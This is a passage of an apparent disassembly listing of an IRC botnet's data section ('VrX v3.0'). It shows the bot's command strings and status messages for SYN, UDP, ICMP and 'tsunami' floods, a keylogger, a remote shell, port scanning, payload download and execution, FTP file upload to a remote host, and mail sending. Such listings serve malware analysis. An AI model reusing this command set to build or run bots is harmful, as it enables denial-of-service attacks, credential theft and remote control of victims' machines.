XREF: sub_401955+35o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D25o align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D0Do align 4 unk_429B34 db 3 ; DATA XREF: sub_401ACD+7CF9o a81VrxUserSLogg db '8,1-VrX- User: %s logged in.',0 align 4 unk_429B54 db 3 ; DATA XREF: sub_401ACD+7CDCo a81VrxPasswordA db '8,1-VrX- Password accepted.',0 align 4 unk_429B74 db 3 ; DATA XREF: sub_401ACD+7C7Bo a81VrxFailedHos db '8,1-VrX- *Failed host auth by: (%s!%s).',0 align 10h aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7C52o align 4 unk_429BC8 db 3 ; DATA XREF: sub_401ACD+7C14o a81VrxFailedPas db '8,1-VrX- *Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7C02o ; sub_401ACD+7C69o align 10h aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7BEBo align 4 asc_429C48: ; DATA XREF: sub_401ACD+7BBBo unicode 0, <~>,0 unk_429C4C db 3 ; DATA XREF: sub_401ACD+7B6Bo a81VrxRandomNic db '8,1-VrX- Random nick change: %s',0 align 10h unk_429C70 db 3 ; DATA XREF: sub_401ACD+7AFDo a81VrxReconnect db '8,1-VrX- Reconnecting in %s seconds',0 align 4 unk_429C98 db 3 ; DATA XREF: sub_401ACD+7AB9o a81VrxReconne_0 db '8,1-VrX- Reconnecting in %s ms',0 unk_429CB8 db 3 ; DATA XREF: sub_401ACD+7A99o a81VrxNickChang db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0 align 4 unk_429CDC db 3 ; DATA XREF: sub_401ACD+7A7Do a81VrxJoinedCha db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0 unk_429CFC db 3 ; DATA XREF: sub_401ACD+7A5Ao a81VrxPartedCha db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0 unk_429D1C db 3 ; DATA XREF: sub_401ACD+7A3Eo a81VrxIrcRawS_ db '8,1-VrX- IRC Raw: %s.',0 align 4 unk_429D34 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40948Ao db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 10h unk_429D60 db 2Dh ; - ; DATA XREF: sub_401ACD+79B6o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_429D84 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40943Do db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_429DAC db 2Dh ; - ; DATA XREF: sub_401ACD+7966o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_401ACD+794Co unk_429DD8 db 3 ; DATA XREF: sub_401ACD+7848o a81VrxPrefixCha db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_429DFC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409300o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_429E20 db 2Dh ; - ; DATA XREF: sub_401ACD+7829o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 10h unk_429E40 db 3 ; DATA XREF: sub_401ACD+7809o a81VrxServerCha db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_429E64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4092BDo db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 unk_429E8C db 2Dh ; - ; DATA XREF: sub_401ACD+77C2o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_429EAC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409255o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 unk_429EDC db 2Dh ; - ; DATA XREF: sub_401ACD+777Eo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_429EFC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4091F5o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_429F2C db 2Dh ; - ; DATA XREF: sub_401ACD+7721o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 10h dword_429F50 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401ACD+76DFo dd 27732527h, 2Eh unk_429F6C db 2Dh ; - ; DATA XREF: sub_401ACD+7667o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_429F90 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401ACD+75ECo dd 0 unk_429FA8 db 2Dh ; - ; DATA XREF: sub_401ACD+75BFo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 4 dword_429FE8 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401ACD+7550o dd 2Eh dword_42A000 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401ACD:loc_408F9Do dd 746E6573h, 2Eh unk_42A01C db 2Dh ; - ; DATA XREF: sub_401ACD+74C9o db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_42A03C dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401ACD+748Fo dd 732520h unk_42A054 db 2Dh ; - ; DATA XREF: sub_401ACD+7481o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 10h asc_42A080: ; DATA XREF: sub_401ACD+7469o ; sub_4100B4+FBo ... dw 0Ah unicode 0, <>,0 unk_42A084 db 3 ; DATA XREF: sub_401ACD+7441o a81VrxReadFileF db '8,1-VrX- Read file failed: %s',0 align 4 unk_42A0A4 db 3 ; DATA XREF: sub_401ACD+7436o a81VrxReadFileC db '8,1-VrX- Read file complete: %s',0 align 4 aUnknowModeType db 'Unknow mode type.',0 ; DATA XREF: sub_401ACD:loc_408E97o align 4 aFailedToStartL db 'Failed to start logging thread, error: <%d>.',0 ; DATA XREF: sub_401ACD+73B4o align 4 aNormalKeyLogge db 'Normal key logger active.',0 ; DATA XREF: sub_401ACD+733Do align 4 aNormal_0 db 'normal',0 ; DATA XREF: sub_401ACD+72EDo align 10h aKeylogerAlread db 'Keyloger Already running.',0 ; DATA XREF: sub_401ACD+7263o align 4 aVrxV3_0SitesKe db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401ACD+7236o ; sub_401ACD+72E5o align 10h aKeylog_0 db 'Keylog',0 ; DATA XREF: sub_401ACD+7231o align 4 unk_42A178 db 3 ; DATA XREF: sub_401ACD+7216o a81VrxGethostS_ db '8,1-VrX- Gethost: %s.',0 align 10h unk_42A190 db 3 ; DATA XREF: sub_401ACD+71D2o a81VrxUnableToE db '8,1-VrX- Unable to extract Gethost command.',0 align 10h unk_42A1C0 db 3 ; DATA XREF: sub_401ACD+71B6o a81VrxGethostSC db '8,1-VrX- Gethost: %s, Command: %s',0 align 4 unk_42A1E4 db 3 ; DATA XREF: sub_401ACD+7119o a81VrxAliasAdde db '8,1-VrX- Alias added: %s.',0 align 10h unk_42A200 db 3 ; DATA XREF: sub_401ACD+70E7o a81VrxPrivmsgSS db '8,1-VrX- Privmsg: %s: %s.',0 align 4 unk_42A21C db 3 ; DATA XREF: sub_401ACD+7096o a81VrxActionSS_ db '8,1-VrX- Action: %s: %s.',0 align 4 dword_42A238 dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0 ; DATA XREF: sub_401ACD+7028o dword_42A24C dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+6FEEo ; sub_401ACD+7A49o unk_42A258 db 3 ; DATA XREF: sub_401ACD+6FC7o a81VrxModeChang db '8,1-VrX- Mode change: %s',0 align 4 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+6FB6o align 10h dword_42A280 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401ACD+6F8Do dd 25203A29h, 73h dword_42A29C dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401ACD+6F1Fo dd 203A2973h, 7325h dword_42A2B8 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6EC7o dword_42A2C0 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401ACD+6E95o dd 203A2973h, 7325h dword_42A2DC dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6E1Do dword_42A2E8 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6DEBo ; sub_401ACD+6E71o ... dword_42A2F0 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6DB6o dword_42A2F8 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6D79o aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42A334 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6D0Eo aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 10h unk_42A360 db 2Dh ; - ; DATA XREF: sub_401ACD+6CA8o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A39C db 2Dh ; - ; DATA XREF: sub_401ACD+6C39o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_42A3D0 db 3 ; DATA XREF: sub_401ACD+6B9Do a81VrxRepeatNot db '8,1-VrX- Repeat not allowed in command line: %s',0 align 4 unk_42A404 db 3 ; DATA XREF: sub_401ACD+6B60o a81VrxRepeatS db '8,1-VrX- Repeat: %s',0 align 4 dword_42A41C dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0 ; DATA XREF: sub_401ACD:loc_408591o dword_42A430 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6A84o ; sub_401ACD+6B37o ... dword_42A440 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4084F0o aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 4 dword_42A488 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A19o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_42A4C4 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401ACD+69AAo aDownloadingUpd db '- Downloading update from: %s.',0 align 10h aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+6904o align 4 dword_42A4FC dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401ACD+68A2o dd 7325203Ah, 0 unk_42A518 db 2Dh ; - ; DATA XREF: sub_401ACD+6897o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 unk_42A53C db 2Dh ; - ; DATA XREF: sub_401ACD+67FDo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 unk_42A578 db 2Dh ; - ; DATA XREF: sub_401ACD+6787o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 4 dword_42A5A8 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40818Do ; sub_401ACD:loc_4091C7o unk_42A5B4 db 2Dh ; - ; DATA XREF: sub_401ACD+66ABo db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_42A5D8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408156o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 10h unk_42A610 db 2Dh ; - ; DATA XREF: sub_401ACD+667Fo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A648 db 2Dh ; - ; DATA XREF: sub_401ACD+660Fo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42A674 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+658Co aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 10h dword_42A6B0 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+651Do aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 10h unk_42A6E0 db 2Dh ; - ; DATA XREF: sub_401ACD+64A4o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A718 db 2Dh ; - ; DATA XREF: sub_401ACD+6435o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A748 db 2Dh ; - ; DATA XREF: sub_401ACD+63ABo db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42A780 db 2Dh ; - ; DATA XREF: sub_401ACD+633Co db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 10h unk_42A7B0 db 2Dh ; - ; DATA XREF: sub_401ACD+62C3o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A7E8 db 2Dh ; - ; DATA XREF: sub_401ACD+6254o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42A824 db 2Dh ; - ; DATA XREF: sub_401ACD+61DBo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 dword_42A864 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401ACD+616Co aDownloadingUrl db '- Downloading URL: %s to: %s.',0 align 10h unk_42A890 db 2Dh ; - ; DATA XREF: sub_401ACD+609Do db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42A8D4 db 2Dh ; - ; DATA XREF: sub_401ACD+602Eo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42A910 db 3 ; DATA XREF: sub_401ACD+5F31o a81Sc@nPortScan db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5E85o align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5DB0o align 4 dword_42A968 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5D22o ; sub_401ACD+7074o unk_42A974 db 2Dh ; - ; DATA XREF: sub_401ACD+5CC0o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 10h unk_42A9B0 db 2Dh ; - ; DATA XREF: sub_401ACD+5C51o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 10h unk_42AA00 db 3 ; DATA XREF: sub_401ACD+5BBAo ; sub_401ACD+5FA0o a81Sc@nFailedTo db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0 align 4 unk_42AA38 db 3 ; DATA XREF: sub_401ACD+5B4Bo a81Sc@nSPortSca db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second' db 's for %d minutes using %d threads.',0 align 10h unk_42AAA0 db 3 ; DATA XREF: sub_401ACD+59D5o a81Sc@nFailed_0 db '8,1-SC@N- Failed to start scan, no IP specified.',0 align 4 unk_42AAD4 db 3 ; DATA XREF: sub_401ACD+5978o a81Sc@nFailed_1 db '8,1-SC@N- Failed to start scan, port is invalid.',0 align 4 unk_42AB08 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_407320o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42AB38 db 2Dh ; - ; DATA XREF: sub_401ACD+584Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 10h aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5835o aSS_1 db '-s:%s',0 ; DATA XREF: sub_401ACD+581Eo align 10h aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+57FBo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aAb db 'ab',0 ; DATA XREF: sub_401ACD+57D7o align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+57C6o align 4 unk_42ABA8 db 2Dh ; - ; DATA XREF: sub_401ACD+576Do db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_401ACD+574Ao align 10h unk_42ABD0 db 3 ; DATA XREF: sub_401ACD+5714o a81Sc@nAlreadyD db '8,1-SC@N- Already %d scanning threads. Too many specified.',0 unk_42AC0C db 2Dh ; - ; DATA XREF: sub_401ACD+56B5o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToStar_8 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42AC44 db 2Dh ; - ; DATA XREF: sub_401ACD+564Ao db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 unk_42AC8C db 2Dh ; - ; DATA XREF: sub_401ACD+5599o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 10h unk_42ACC0 db 2Dh ; - ; DATA XREF: sub_401ACD+5565o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42ACF4 db 2Dh ; - ; DATA XREF: sub_401ACD+5541o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 unk_42AD2C db 2Dh ; - ; DATA XREF: sub_401ACD+549Fo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5482o align 10h unk_42AD80 db 2Dh ; - ; DATA XREF: sub_401ACD+546Do db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42ADB8 db 2Dh ; - ; DATA XREF: sub_401ACD+53FEo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 10h unk_42AE00 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406E1Do db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_42AE38 db 2Dh ; - ; DATA XREF: sub_401ACD+5346o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_10 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42AE70 db 2Dh ; - ; DATA XREF: sub_401ACD+52CCo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+52BCo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+52B5o unk_42AEB4 db 2Dh ; - ; DATA XREF: sub_401ACD+521Ao db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 10h aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+520Ao align 4 aAck db 'ack',0 ; DATA XREF: sub_401ACD+51F3o aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+517Fo align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+516Co unk_42AEFC db 2Dh ; - ; DATA XREF: sub_401ACD+511Do db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 10h aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+50A9o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_401ACD+4FBEo align 4 aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+4FA7o aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+4F90o align 4 aVncHttpHostCha db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401ACD+4F66o align 4 aVnchost db 'vnchost',0 ; DATA XREF: sub_401ACD+4F48o aP: ; DATA XREF: sub_401ACD+4F31o ; ___:00438AF0o unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+4F1Ao align 4 aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+4F03o align 4 aNs db 'ns',0 ; DATA XREF: sub_401ACD+4EECo align 4 aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4ED5o aU: ; DATA XREF: sub_401ACD+4EBEo ; ___:00438B00o unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4EA7o aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4E90o align 4 aAd db 'ad',0 ; DATA XREF: sub_401ACD+4E79o align 4 aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4E62o aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4E4Bo aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4E34o align 10h aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4E0Eo aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4DF7o align 10h aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4DE0o align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4DC9o align 4 aSc db 'sc',0 ; DATA XREF: sub_401ACD+4DB2o align 4 aScan db 'scan',0 ; DATA XREF: sub_401ACD+4D9Bo align 10h aRd db 'rd',0 ; DATA XREF: sub_401ACD+4D84o align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4D6Do align 10h aNazel3 db 'NAZEL3',0 ; DATA XREF: sub_401ACD+4D3Fo ; sub_401ACD+4D56o align 4 aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4D28o align 10h aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4D11o align 4 dword_42B05C dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4D04o aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42B098 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4C95o aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4C12o align 10h aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4BFBo ; sub_401ACD+51DBo aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4BE4o align 10h unk_42B0E0 db 2Dh ; - ; DATA XREF: sub_401ACD+4BD7o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_12 db '- Failed to start flood thread, error: <%d>.',0 align 10h aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4B00o align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4AE9o ; sub_413694:loc_4137C0o aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4AD2o ; sub_413694:loc_4137A4o align 4 aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4ABBo ; sub_413694+F1o align 10h aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4A8Do align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4A64o align 10h aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4A4Do align 4 aMv db 'mv',0 ; DATA XREF: sub_401ACD+4A36o align 10h aRename db 'rename',0 ; DATA XREF: sub_401ACD+4A1Fo align 4 aFf db 'ff',0 ; DATA XREF: sub_401ACD+4A08o align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+49F1o align 4 aE: ; DATA XREF: sub_401ACD+49DAo unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_401ACD+49C3o aHadeth3 db 'HADETH3',0 ; DATA XREF: sub_401ACD+4995o ; sub_401ACD+49ACo aDe db 'de',0 ; DATA XREF: sub_401ACD+497Eo align 10h aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4967o align 4 aRp db 'rp',0 ; DATA XREF: sub_401ACD+4950o align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4939o ; sub_401ACD+6B0Co align 4 aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4922o aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+490Bo aT3 db 't3',0 ; DATA XREF: sub_401ACD+48F4o align 4 aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+48DDo align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+48C6o aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+48AFo align 4 aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+4898o aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+4881o align 4 aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+486Ao aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+4853o align 10h aC_m db 